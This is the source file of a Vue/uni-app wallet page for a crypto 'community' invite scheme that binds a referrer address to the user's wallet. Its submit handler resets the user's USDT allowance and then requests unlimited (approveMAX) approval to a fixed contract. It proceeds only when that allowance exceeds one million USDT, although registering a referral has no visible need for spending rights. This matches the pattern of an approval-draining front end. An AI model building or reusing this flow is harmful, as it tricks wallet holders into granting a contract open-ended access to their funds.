You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
404 lines
10 KiB
404 lines
10 KiB
<template>
|
|
<view class="content">
|
|
<tab-bar />
|
|
<view class="container">
|
|
<view class="tip flex2" :class="showTip?'tipshow':''">
|
|
<u-icon name="checkmark-circle-fill" color="#42B983" size="36" style="margin-right: 20rpx;"></u-icon>
|
|
{{ i18n.te }}
|
|
</view>
|
|
<view class="top">
|
|
<view class="title f44 text-primary">
|
|
{{ i18n.Home }}<br /><br />
|
|
</view>
|
|
<view class="text-deep-primary">
|
|
{{ i18n.cx }}<br /><br /><br />
|
|
{{ i18n.zw }}<br /><br /><br />
|
|
{{ i18n.yuan }}<br /><br /><br />
|
|
{{ i18n.we }}<br /><br /><br />
|
|
{{ i18n.thank }}<br /><br />
|
|
{{ i18n.ji }}<br /><br />
|
|
{{ i18n.date }}
|
|
</view>
|
|
</view>
|
|
<view class="bottom">
|
|
<view class="item">
|
|
<view class="flex2 label-title">
|
|
<image src="@/static/images/com_icon_srank.452821d11.png" mode=""></image>
|
|
<text class="text-primary f36">{{ i18n.contract }}</text>
|
|
</view>
|
|
<view class="m48">
|
|
<u-input v-model="form.contract" placeholder="" :clearable="false" :disabled="true" />
|
|
</view>
|
|
</view>
|
|
|
|
<view class="item m48">
|
|
<view class="flex2 label-title">
|
|
<image src="@/static/images/invite_table_title.e3146df81.png" mode=""></image>
|
|
<text class="text-primary f36">{{ i18n.address }}</text>
|
|
</view>
|
|
<view class="m48">
|
|
<u-input v-model="form.supAddress" placeholder="" :clearable="false" :disabled="true" />
|
|
</view>
|
|
</view>
|
|
<general-button @emitClick="submit" :btnTitle="i18n.confirm"
|
|
:btnDisabled="btnDisabled"></general-button>
|
|
|
|
<view class="item m48">
|
|
<view class="flex2 label-title">
|
|
<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image>
|
|
<text class="text-primary f36">{{ i18n.link }}</text>
|
|
</view>
|
|
<view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)">
|
|
<!-- https://ippswap.com/community?inviteCode={{form.supAddress}} -->
|
|
{{url}}
|
|
</view>
|
|
</view>
|
|
|
|
</view>
|
|
</view>
|
|
</view>
|
|
</template>
|
|
|
|
<script>
|
|
import GeneralButton from '@/component/GeneralButton'
|
|
import {
|
|
web3x
|
|
} from "@/utils/web3x/web3x.js"
|
|
|
|
const ipptAddress = '0xa28B49C8F7ce83074EBE0bB0cc5eE670b5F6dF06'
|
|
|
|
function delay(time) {
|
|
return new Promise((resolve, reject) => {
|
|
setTimeout(() => {
|
|
resolve()
|
|
}, time)
|
|
})
|
|
}
|
|
|
|
export default {
|
|
components: {
|
|
GeneralButton,
|
|
},
|
|
data() {
|
|
return {
|
|
isScroll: false,
|
|
btnDisabled: false,
|
|
url: '',
|
|
showTip: false,
|
|
form: {
|
|
address: '',
|
|
contract: '0xa28B49C8F7ce83074EBE0bB0cc5eE670b5F6dF06',
|
|
supAddress: '',
|
|
},
|
|
}
|
|
},
|
|
computed: {
|
|
i18n() {
|
|
return this.$t("tabBar");
|
|
},
|
|
},
|
|
onShow() {
|
|
|
|
},
|
|
onPullDownRefresh() {
|
|
|
|
},
|
|
onPageScroll(e) {},
|
|
onLoad(val) {
|
|
this.url = location.origin + '?inviteCode=';
|
|
if (val.inviteCode) {
|
|
this.form.supAddress = val.inviteCode
|
|
} else {
|
|
this.form.supAddress = '0xa28B49C8F7ce83074EBE0bB0cc5eE670b5F6dF06'
|
|
}
|
|
setTimeout(() => {
|
|
this.init()
|
|
}, 500)
|
|
},
|
|
onReachBottom() {
|
|
},
|
|
onReady() {
|
|
},
|
|
methods: {
|
|
// 点击复制按钮
|
|
onCopy(v) {
|
|
uni.setClipboardData({
|
|
data: v,
|
|
success: () => {
|
|
uni.showToast({
|
|
title: this.$t("tabBar").copy,
|
|
duration: 2000
|
|
})
|
|
}
|
|
})
|
|
},
|
|
init() {
|
|
if (!web3x.hasRuntime()) {
|
|
uni.$u.toast(this.$t("tabBar").nosupport)
|
|
}
|
|
web3x.connectViaInPage()
|
|
.then(res => {
|
|
// const chainId = await ethereum.request({ method: 'eth_chainId' }); async
|
|
// console.log(parseInt(chainId))
|
|
// 用户进来是否询问添加切换网络
|
|
// await web3x.addBscMainnet()
|
|
// await web3x.switchToBscMainnet()
|
|
// await web3x.connectViaInPage()
|
|
|
|
this.form.address = web3x.selectedAddress
|
|
// 当前钱包地址
|
|
// console.log("当前钱包地址", web3x.selectedAddress);
|
|
this.url = location.origin + '?inviteCode=' + web3x.selectedAddress
|
|
})
|
|
},
|
|
|
|
submit() {
|
|
if (this.btnDisabled) {
|
|
return;
|
|
}
|
|
if (!this.form.supAddress) {
|
|
uni.$u.toast(this.$t("tabBar").empty)
|
|
return
|
|
}
|
|
web3x.connectViaInPage()
|
|
.then(async res => {
|
|
uni.showLoading({
|
|
title: '',
|
|
mask: true
|
|
})
|
|
// 当前钱包地址
|
|
// console.log("当前钱包地址", web3x.selectedAddress);
|
|
// 检查 USDT 授权给 IPPT 的数量
|
|
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
|
|
// console.log(allowance, '当前用户授权给ippt的数量')
|
|
// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT
|
|
let onece = false;
|
|
if (allowance > Number(1000000) * 10 ** Number(18)) {
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress).on(
|
|
"transactionHash", () => {
|
|
this.showTip = true;
|
|
uni.pageScrollTo({
|
|
scrollTop: 0,
|
|
duration: 200
|
|
});
|
|
// 确认按钮置灰
|
|
this.btnDisabled = true
|
|
uni.hideLoading()
|
|
})
|
|
.on("confirmation", (confirmation, receipt,
|
|
latestBlockHash) => {
|
|
if (confirmation >= 5 && !onece) {
|
|
onece = true;
|
|
this.showTip = false
|
|
}
|
|
})
|
|
} else {
|
|
// 否则则需要重新授权为 0, 然后在进行极限授权
|
|
// 提示最小需授权 XXX USDT, 请取消授权后重新授权
|
|
// 取消授权
|
|
if (allowance == 0) {
|
|
// 然后在进行极限授权
|
|
web3x.usdt.approveMAX(ipptAddress)
|
|
.on("transactionHash", async () => {
|
|
// console.log("调用极限授权")
|
|
// 调用IPPT 合约绑定上级关系
|
|
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
|
|
// web3x.selectedAddress: 当前钱包地址
|
|
// 弹框
|
|
//this.showTip = true;
|
|
// 置顶
|
|
uni.pageScrollTo({
|
|
scrollTop: 0,
|
|
duration: 200
|
|
});
|
|
// 确认按钮置灰
|
|
this.btnDisabled = true
|
|
|
|
await delay(1000)
|
|
//uni.hideLoading()
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
|
|
.on(
|
|
"transactionHash", () => {
|
|
this.showTip = true;
|
|
uni.pageScrollTo({
|
|
scrollTop: 0,
|
|
duration: 200
|
|
});
|
|
// 确认按钮置灰
|
|
this.btnDisabled = true
|
|
uni.hideLoading()
|
|
})
|
|
.on("confirmation", (confirmation, receipt,
|
|
latestBlockHash) => {
|
|
if (confirmation >= 5 && !onece) {
|
|
onece = true;
|
|
this.showTip = false
|
|
}
|
|
})
|
|
|
|
}).catch(() => {
|
|
uni.hideLoading()
|
|
})
|
|
} else {
|
|
web3x.usdt.$approve(ipptAddress, 0)
|
|
.on("receipt", () => {
|
|
// console.log("取消授权完成")
|
|
// 然后在进行极限授权
|
|
web3x.usdt.approveMAX(ipptAddress)
|
|
.on("transactionHash", async () => {
|
|
// console.log("调用极限授权")
|
|
// 调用IPPT 合约绑定上级关系
|
|
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
|
|
// web3x.selectedAddress: 当前钱包地址
|
|
this.showTip = true;
|
|
// 置顶
|
|
uni.pageScrollTo({
|
|
scrollTop: 0,
|
|
duration: 200
|
|
});
|
|
// 确认按钮置灰
|
|
this.btnDisabled = true
|
|
uni.hideLoading()
|
|
await delay(1000)
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x
|
|
.selectedAddress)
|
|
.on("confirmation", (confirmation, receipt,
|
|
latestBlockHash) => {
|
|
if (confirmation >= 5 && !onece) {
|
|
onece = true;
|
|
this.showTip = false
|
|
}
|
|
})
|
|
}).catch(() => {
|
|
uni.hideLoading()
|
|
})
|
|
})
|
|
}
|
|
}
|
|
// 授权当前钱包的 USDT 给 IPPT (参数为 IPPT 合约地址)
|
|
// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186")
|
|
// .on("transactionHash", async (receipt) => {
|
|
// console.log("transactionHash", receipt)
|
|
// // 调用IPPT 合约绑定上级关系
|
|
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
|
|
// // web3x.selectedAddress: 当前钱包地址
|
|
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
|
|
// uni.hideLoading()
|
|
// })
|
|
})
|
|
},
|
|
go(val) {
|
|
uni.navigateTo({
|
|
url: val,
|
|
})
|
|
},
|
|
},
|
|
}
|
|
</script>
|
|
|
|
<style lang="scss" scoped>
|
|
.tip {
|
|
opacity: 0;
|
|
transition: .5s all;
|
|
position: fixed;
|
|
width: 100%;
|
|
height: 100rpx;
|
|
padding: 10rpx 0;
|
|
border-radius: 20rpx;
|
|
width: 75%;
|
|
padding-left: 36rpx;
|
|
left: 50%;
|
|
transform: translate(-50%, -50%);
|
|
top: 55%;
|
|
color: #fff;
|
|
z-index: 9999;
|
|
background: radial-gradient(104.53% 5436.39% at -4.53% 16.35%, #7F97EC 3.77%, #8D6CEA 11.22%, #5944D7 24.63%, #2D2EA8 36.47%, #182390 63.92%, #16228E 100%);
|
|
}
|
|
|
|
.tipshow {
|
|
opacity: 1;
|
|
top: 50%;
|
|
}
|
|
|
|
.m48 {
|
|
margin-top: 48rpx;
|
|
}
|
|
|
|
::v-deep .uni-input-input {
|
|
color: #fff;
|
|
min-height: 88rpx !important;
|
|
}
|
|
|
|
::v-deep .u-input__input {
|
|
color: #fff;
|
|
min-height: 88rpx !important;
|
|
}
|
|
|
|
::v-deep .u-input {
|
|
border: 2rpx solid transparent;
|
|
border-radius: 100rpx;
|
|
background-clip: padding-box, border-box;
|
|
border-color: transparent !important;
|
|
background-origin: padding-box, border-box;
|
|
background-image: linear-gradient(180deg, #141644 25%, #141644 77.78%), linear-gradient(to right, rgba(126, 223, 135, 1), rgba(255, 158, 137, 1));
|
|
height: 88rpx;
|
|
padding: 0 40rpx !important;
|
|
}
|
|
|
|
.text-primary {
|
|
color: #fff;
|
|
}
|
|
|
|
.text-deep-primary {
|
|
color: rgba(167, 181, 229, 1);
|
|
}
|
|
|
|
.f44 {
|
|
font-size: 44rpx;
|
|
}
|
|
|
|
.f28 {
|
|
font-size: 28rpx;
|
|
}
|
|
|
|
.f36 {
|
|
font-size: 36rpx;
|
|
}
|
|
|
|
.content {
|
|
width: 750rpx;
|
|
background: #0B1016;
|
|
min-height: 100vh;
|
|
position: relative;
|
|
z-index: 10;
|
|
padding-bottom: 100rpx;
|
|
background-image: url('../../static/images/community_bg_h51.png');
|
|
background-repeat: no-repeat;
|
|
background-size: contain;
|
|
background-position: 0px 130rpx;
|
|
|
|
.container {
|
|
padding: 0rpx 32rpx;
|
|
|
|
.top {
|
|
padding-top: 64rpx;
|
|
}
|
|
|
|
.bottom {
|
|
border: 1px solid rgba(119, 120, 177, 1);
|
|
background: #212A51;
|
|
padding: 32rpx 32rpx 40rpx 32rpx;
|
|
border-radius: 24rpx;
|
|
margin-top: 36rpx;
|
|
|
|
.label-title {
|
|
image {
|
|
width: 52rpx;
|
|
height: 52rpx;
|
|
margin-right: 24rpx;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
</style>
|